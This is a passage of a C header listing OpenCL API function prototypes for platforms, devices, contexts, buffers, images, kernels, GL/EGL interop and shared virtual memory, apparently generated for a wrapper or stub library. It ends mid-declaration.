#include <CL/cl.h>
#include <CL/cl_gl.h>
#include <CL/cl_egl.h>
#include <CL/cl_ext.h>
#include <CL/cl_gl_ext.h>
#pragma GCC diagnostic pop
CL_API_ENTRY cl_int CL_API_CALL
clGetPlatformInfo(cl_platform_id /* platform */,
cl_platform_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetDeviceIDs(cl_platform_id /* platform */,
cl_device_type /* device_type */,
cl_uint /* num_entries */,
cl_device_id * /* devices */,
cl_uint * /* num_devices */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetDeviceInfo(cl_device_id /* device */,
cl_device_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_context CL_API_CALL
clCreateContext(const cl_context_properties * /* properties */,
cl_uint /* num_devices */,
const cl_device_id * /* devices */,
void (CL_CALLBACK * /* pfn_notify */)(const char *, const void *, size_t, void *),
void * /* user_data */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_context CL_API_CALL
clCreateContextFromType(const cl_context_properties * /* properties */,
cl_device_type /* device_type */,
void (CL_CALLBACK * /* pfn_notify*/ )(const char *, const void *, size_t, void *),
void * /* user_data */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainContext(cl_context /* context */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseContext(cl_context /* context */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetContextInfo(cl_context /* context */,
cl_context_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_command_queue CL_API_CALL
clCreateCommandQueue(cl_context /* context */,
cl_device_id /* device */,
cl_command_queue_properties /* properties */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainCommandQueue(cl_command_queue /* command_queue */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseCommandQueue(cl_command_queue /* command_queue */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetCommandQueueInfo(cl_command_queue /* command_queue */,
cl_command_queue_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clSetCommandQueueProperty(cl_command_queue /* command_queue */,
cl_command_queue_properties /* properties */,
cl_bool /* enable */,
cl_command_queue_properties * /* old_properties */) CL_EXT_SUFFIX__VERSION_1_0_DEPRECATED;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateBuffer(cl_context /* context */,
cl_mem_flags /* flags */,
size_t /* size */,
void * /* host_ptr */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateImage2D(cl_context /* context */,
cl_mem_flags /* flags */,
const cl_image_format * /* image_format */,
size_t /* image_width */,
size_t /* image_height */,
size_t /* image_row_pitch */,
void * /* host_ptr */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateImage3D(cl_context /* context */,
cl_mem_flags /* flags */,
const cl_image_format * /* image_format */,
size_t /* image_width */,
size_t /* image_height */,
size_t /* image_depth */,
size_t /* image_row_pitch */,
size_t /* image_slice_pitch */,
void * /* host_ptr */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainMemObject(cl_mem /* memobj */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseMemObject(cl_mem /* memobj */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetSupportedImageFormats(cl_context /* context */,
cl_mem_flags /* flags */,
cl_mem_object_type /* image_type */,
cl_uint /* num_entries */,
cl_image_format * /* image_formats */,
cl_uint * /* num_image_formats */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetMemObjectInfo(cl_mem /* memobj */,
cl_mem_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetImageInfo(cl_mem /* image */,
cl_image_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_sampler CL_API_CALL
clCreateSampler(cl_context /* context */,
cl_bool /* normalized_coords */,
cl_addressing_mode /* addressing_mode */,
cl_filter_mode /* filter_mode */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainSampler(cl_sampler /* sampler */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseSampler(cl_sampler /* sampler */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetSamplerInfo(cl_sampler /* sampler */,
cl_sampler_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_program CL_API_CALL
clCreateProgramWithSource(cl_context /* context */,
cl_uint /* count */,
const char ** /* strings */,
const size_t * /* lengths */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_program CL_API_CALL
clCreateProgramWithBinary(cl_context /* context */,
cl_uint /* num_devices */,
const cl_device_id * /* device_list */,
const size_t * /* lengths */,
const unsigned char ** /* binaries */,
cl_int * /* binary_status */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainProgram(cl_program /* program */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseProgram(cl_program /* program */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clBuildProgram(cl_program /* program */,
cl_uint /* num_devices */,
const cl_device_id * /* device_list */,
const char * /* options */,
void (CL_CALLBACK * /* pfn_notify */)(cl_program /* program */, void * /* user_data */),
void * /* user_data */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetProgramInfo(cl_program /* program */,
cl_program_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetProgramBuildInfo(cl_program /* program */,
cl_device_id /* device */,
cl_program_build_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_kernel CL_API_CALL
clCreateKernel(cl_program /* program */,
const char * /* kernel_name */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clCreateKernelsInProgram(cl_program /* program */,
cl_uint /* num_kernels */,
cl_kernel * /* kernels */,
cl_uint * /* num_kernels_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainKernel(cl_kernel /* kernel */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseKernel(cl_kernel /* kernel */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clSetKernelArg(cl_kernel /* kernel */,
cl_uint /* arg_index */,
size_t /* arg_size */,
const void * /* arg_value */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetKernelInfo(cl_kernel /* kernel */,
cl_kernel_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetKernelWorkGroupInfo(cl_kernel /* kernel */,
cl_device_id /* device */,
cl_kernel_work_group_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clWaitForEvents(cl_uint /* num_events */,
const cl_event * /* event_list */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetEventInfo(cl_event /* event */,
cl_event_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainEvent(cl_event /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseEvent(cl_event /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetEventProfilingInfo(cl_event /* event */,
cl_profiling_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clFlush(cl_command_queue /* command_queue */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clFinish(cl_command_queue /* command_queue */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueReadBuffer(cl_command_queue /* command_queue */,
cl_mem /* buffer */,
cl_bool /* blocking_read */,
size_t /* offset */,
size_t /* cb */,
void * /* ptr */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueWriteBuffer(cl_command_queue /* command_queue */,
cl_mem /* buffer */,
cl_bool /* blocking_write */,
size_t /* offset */,
size_t /* cb */,
const void * /* ptr */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueCopyBuffer(cl_command_queue /* command_queue */,
cl_mem /* src_buffer */,
cl_mem /* dst_buffer */,
size_t /* src_offset */,
size_t /* dst_offset */,
size_t /* cb */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueReadImage(cl_command_queue /* command_queue */,
cl_mem /* image */,
cl_bool /* blocking_read */,
const size_t * /* origin[3] */,
const size_t * /* region[3] */,
size_t /* row_pitch */,
size_t /* slice_pitch */,
void * /* ptr */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueWriteImage(cl_command_queue /* command_queue */,
cl_mem /* image */,
cl_bool /* blocking_write */,
const size_t * /* origin[3] */,
const size_t * /* region[3] */,
size_t /* input_row_pitch */,
size_t /* input_slice_pitch */,
const void * /* ptr */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueCopyImage(cl_command_queue /* command_queue */,
cl_mem /* src_image */,
cl_mem /* dst_image */,
const size_t * /* src_origin[3] */,
const size_t * /* dst_origin[3] */,
const size_t * /* region[3] */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueCopyImageToBuffer(cl_command_queue /* command_queue */,
cl_mem /* src_image */,
cl_mem /* dst_buffer */,
const size_t * /* src_origin[3] */,
const size_t * /* region[3] */,
size_t /* dst_offset */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueCopyBufferToImage(cl_command_queue /* command_queue */,
cl_mem /* src_buffer */,
cl_mem /* dst_image */,
size_t /* src_offset */,
const size_t * /* dst_origin[3] */,
const size_t * /* region[3] */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY void * CL_API_CALL
clEnqueueMapBuffer(cl_command_queue /* command_queue */,
cl_mem /* buffer */,
cl_bool /* blocking_map */,
cl_map_flags /* map_flags */,
size_t /* offset */,
size_t /* cb */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY void * CL_API_CALL
clEnqueueMapImage(cl_command_queue /* command_queue */,
cl_mem /* image */,
cl_bool /* blocking_map */,
cl_map_flags /* map_flags */,
const size_t * /* origin[3] */,
const size_t * /* region[3] */,
size_t * /* image_row_pitch */,
size_t * /* image_slice_pitch */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueUnmapMemObject(cl_command_queue /* command_queue */,
cl_mem /* memobj */,
void * /* mapped_ptr */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueNDRangeKernel(cl_command_queue /* command_queue */,
cl_kernel /* kernel */,
cl_uint /* work_dim */,
const size_t * /* global_work_offset */,
const size_t * /* global_work_size */,
const size_t * /* local_work_size */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueTask(cl_command_queue /* command_queue */,
cl_kernel /* kernel */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueNativeKernel(cl_command_queue /* command_queue */,
void (*user_func)(void *),
void * /* args */,
size_t /* cb_args */,
cl_uint /* num_mem_objects */,
const cl_mem * /* mem_list */,
const void ** /* args_mem_loc */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueMarker(cl_command_queue /* command_queue */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueWaitForEvents(cl_command_queue /* command_queue */,
cl_uint /* num_events */,
const cl_event * /* event_list */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueBarrier(cl_command_queue /* command_queue */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY void * CL_API_CALL
clGetExtensionFunctionAddress(const char * /* func_name */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateFromGLBuffer(cl_context /* context */,
cl_mem_flags /* flags */,
cl_GLuint /* bufobj */,
int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateFromGLTexture2D(cl_context /* context */,
cl_mem_flags /* flags */,
cl_GLenum /* target */,
cl_GLint /* miplevel */,
cl_GLuint /* texture */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateFromGLTexture3D(cl_context /* context */,
cl_mem_flags /* flags */,
cl_GLenum /* target */,
cl_GLint /* miplevel */,
cl_GLuint /* texture */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateFromGLRenderbuffer(cl_context /* context */,
cl_mem_flags /* flags */,
cl_GLuint /* renderbuffer */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetGLObjectInfo(cl_mem /* memobj */,
cl_gl_object_type * /* gl_object_type */,
cl_GLuint * /* gl_object_name */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetGLTextureInfo(cl_mem /* memobj */,
cl_gl_texture_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueAcquireGLObjects(cl_command_queue /* command_queue */,
cl_uint /* num_objects */,
const cl_mem * /* mem_objects */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueReleaseGLObjects(cl_command_queue /* command_queue */,
cl_uint /* num_objects */,
const cl_mem * /* mem_objects */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetGLContextInfoKHR(const cl_context_properties * /* properties */,
cl_gl_context_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clSetEventCallback(cl_event /* event */,
cl_int /* command_exec_callback_type */,
void (CL_CALLBACK * /* pfn_notify */)(cl_event, cl_int, void *),
void * /* user_data */) CL_API_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateSubBuffer(cl_mem /* buffer */,
cl_mem_flags /* flags */,
cl_buffer_create_type /* buffer_create_type */,
const void * /* buffer_create_info */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clSetMemObjectDestructorCallback(cl_mem /* memobj */,
void (CL_CALLBACK * /*pfn_notify*/)( cl_mem /* memobj */, void* /*user_data*/),
void * /*user_data */ ) CL_API_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_event CL_API_CALL
clCreateUserEvent(cl_context /* context */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clSetUserEventStatus(cl_event /* event */,
cl_int /* execution_status */) CL_API_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueReadBufferRect(cl_command_queue /* command_queue */,
cl_mem /* buffer */,
cl_bool /* blocking_read */,
const size_t * /* buffer_origin */,
const size_t * /* host_origin */,
const size_t * /* region */,
size_t /* buffer_row_pitch */,
size_t /* buffer_slice_pitch */,
size_t /* host_row_pitch */,
size_t /* host_slice_pitch */,
void * /* ptr */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueWriteBufferRect(cl_command_queue /* command_queue */,
cl_mem /* buffer */,
cl_bool /* blocking_write */,
const size_t * /* buffer_origin */,
const size_t * /* host_origin */,
const size_t * /* region */,
size_t /* buffer_row_pitch */,
size_t /* buffer_slice_pitch */,
size_t /* host_row_pitch */,
size_t /* host_slice_pitch */,
const void * /* ptr */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueCopyBufferRect(cl_command_queue /* command_queue */,
cl_mem /* src_buffer */,
cl_mem /* dst_buffer */,
const size_t * /* src_origin */,
const size_t * /* dst_origin */,
const size_t * /* region */,
size_t /* src_row_pitch */,
size_t /* src_slice_pitch */,
size_t /* dst_row_pitch */,
size_t /* dst_slice_pitch */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clCreateSubDevicesEXT(cl_device_id /*in_device*/,
const cl_device_partition_property_ext * /* properties */,
cl_uint /*num_entries*/,
cl_device_id * /*out_devices*/,
cl_uint * /*num_devices*/ ) CL_EXT_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainDeviceEXT( cl_device_id /*device*/ ) CL_EXT_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseDeviceEXT( cl_device_id /*device*/ ) CL_EXT_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_event CL_API_CALL
clCreateEventFromGLsyncKHR(cl_context /* context */,
cl_GLsync /* cl_GLsync */,
cl_int * /* errcode_ret */) CL_EXT_SUFFIX__VERSION_1_1;;
CL_API_ENTRY cl_int CL_API_CALL
clCreateSubDevices(cl_device_id /* in_device */,
const cl_device_partition_property * /* properties */,
cl_uint /* num_devices */,
cl_device_id * /* out_devices */,
cl_uint * /* num_devices_ret */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clRetainDevice(cl_device_id /* device */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clReleaseDevice(cl_device_id /* device */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateImage(cl_context /* context */,
cl_mem_flags /* flags */,
const cl_image_format * /* image_format */,
const cl_image_desc * /* image_desc */,
void * /* host_ptr */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_program CL_API_CALL
clCreateProgramWithBuiltInKernels(cl_context /* context */,
cl_uint /* num_devices */,
const cl_device_id * /* device_list */,
const char * /* kernel_names */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clCompileProgram(cl_program /* program */,
cl_uint /* num_devices */,
const cl_device_id * /* device_list */,
const char * /* options */,
cl_uint /* num_input_headers */,
const cl_program * /* input_headers */,
const char ** /* header_include_names */,
void (CL_CALLBACK * /* pfn_notify */)(cl_program /* program */, void * /* user_data */),
void * /* user_data */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_program CL_API_CALL
clLinkProgram(cl_context /* context */,
cl_uint /* num_devices */,
const cl_device_id * /* device_list */,
const char * /* options */,
cl_uint /* num_input_programs */,
const cl_program * /* input_programs */,
void (CL_CALLBACK * /* pfn_notify */)(cl_program /* program */, void * /* user_data */),
void * /* user_data */,
cl_int * /* errcode_ret */ ) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clUnloadPlatformCompiler(cl_platform_id /* platform */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clGetKernelArgInfo(cl_kernel /* kernel */,
cl_uint /* arg_indx */,
cl_kernel_arg_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueFillBuffer(cl_command_queue /* command_queue */,
cl_mem /* buffer */,
const void * /* pattern */,
size_t /* pattern_size */,
size_t /* offset */,
size_t /* size */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueFillImage(cl_command_queue /* command_queue */,
cl_mem /* image */,
const void * /* fill_color */,
const size_t * /* origin[3] */,
const size_t * /* region[3] */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueMigrateMemObjects(cl_command_queue /* command_queue */,
cl_uint /* num_mem_objects */,
const cl_mem * /* mem_objects */,
cl_mem_migration_flags /* flags */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueMarkerWithWaitList(cl_command_queue /* command_queue */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueBarrierWithWaitList(cl_command_queue /* command_queue */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY void * CL_API_CALL
clGetExtensionFunctionAddressForPlatform(cl_platform_id /* platform */,
const char * /* func_name */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateFromGLTexture(cl_context /* context */,
cl_mem_flags /* flags */,
cl_GLenum /* target */,
cl_GLint /* miplevel */,
cl_GLuint /* texture */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_2;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreateFromEGLImageKHR(cl_context /* context */,
CLeglDisplayKHR /* egldisplay */,
CLeglImageKHR /* eglimage */,
cl_mem_flags /* flags */,
const cl_egl_image_properties_khr * /* properties */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueAcquireEGLObjectsKHR(cl_command_queue /* command_queue */,
cl_uint /* num_objects */,
const cl_mem * /* mem_objects */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueReleaseEGLObjectsKHR(cl_command_queue /* command_queue */,
cl_uint /* num_objects */,
const cl_mem * /* mem_objects */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_event CL_API_CALL
clCreateEventFromEGLSyncKHR(cl_context /* context */,
CLeglSyncKHR /* sync */,
CLeglDisplayKHR /* display */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_1_0;;
CL_API_ENTRY cl_command_queue CL_API_CALL
clCreateCommandQueueWithProperties(cl_context /* context */,
cl_device_id /* device */,
const cl_queue_properties * /* properties */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_mem CL_API_CALL
clCreatePipe(cl_context /* context */,
cl_mem_flags /* flags */,
cl_uint /* pipe_packet_size */,
cl_uint /* pipe_max_packets */,
const cl_pipe_properties * /* properties */,
cl_int * /* errcode_ret */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
clGetPipeInfo(cl_mem /* pipe */,
cl_pipe_info /* param_name */,
size_t /* param_value_size */,
void * /* param_value */,
size_t * /* param_value_size_ret */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY void * CL_API_CALL
clSVMAlloc(cl_context /* context */,
cl_svm_mem_flags /* flags */,
size_t /* size */,
cl_uint /* alignment */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY void CL_API_CALL
clSVMFree(cl_context /* context */,
void * /* svm_pointer */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueSVMFree(cl_command_queue /* command_queue */,
cl_uint /* num_svm_pointers */,
void *[] /* svm_pointers[] */,
void (CL_CALLBACK * /*pfn_free_func*/)(cl_command_queue /* queue */,
cl_uint /* num_svm_pointers */,
void *[] /* svm_pointers[] */,
void * /* user_data */),
void * /* user_data */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueSVMMemcpy(cl_command_queue /* command_queue */,
cl_bool /* blocking_copy */,
void * /* dst_ptr */,
const void * /* src_ptr */,
size_t /* size */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
clEnqueueSVMMemFill(cl_command_queue /* command_queue */,
void * /* svm_ptr */,
const void * /* pattern */,
size_t /* pattern_size */,
size_t /* size */,
cl_uint /* num_events_in_wait_list */,
const cl_event * /* event_wait_list */,
cl_event * /* event */) CL_API_SUFFIX__VERSION_2_0;;
CL_API_ENTRY cl_int CL_API_CALL
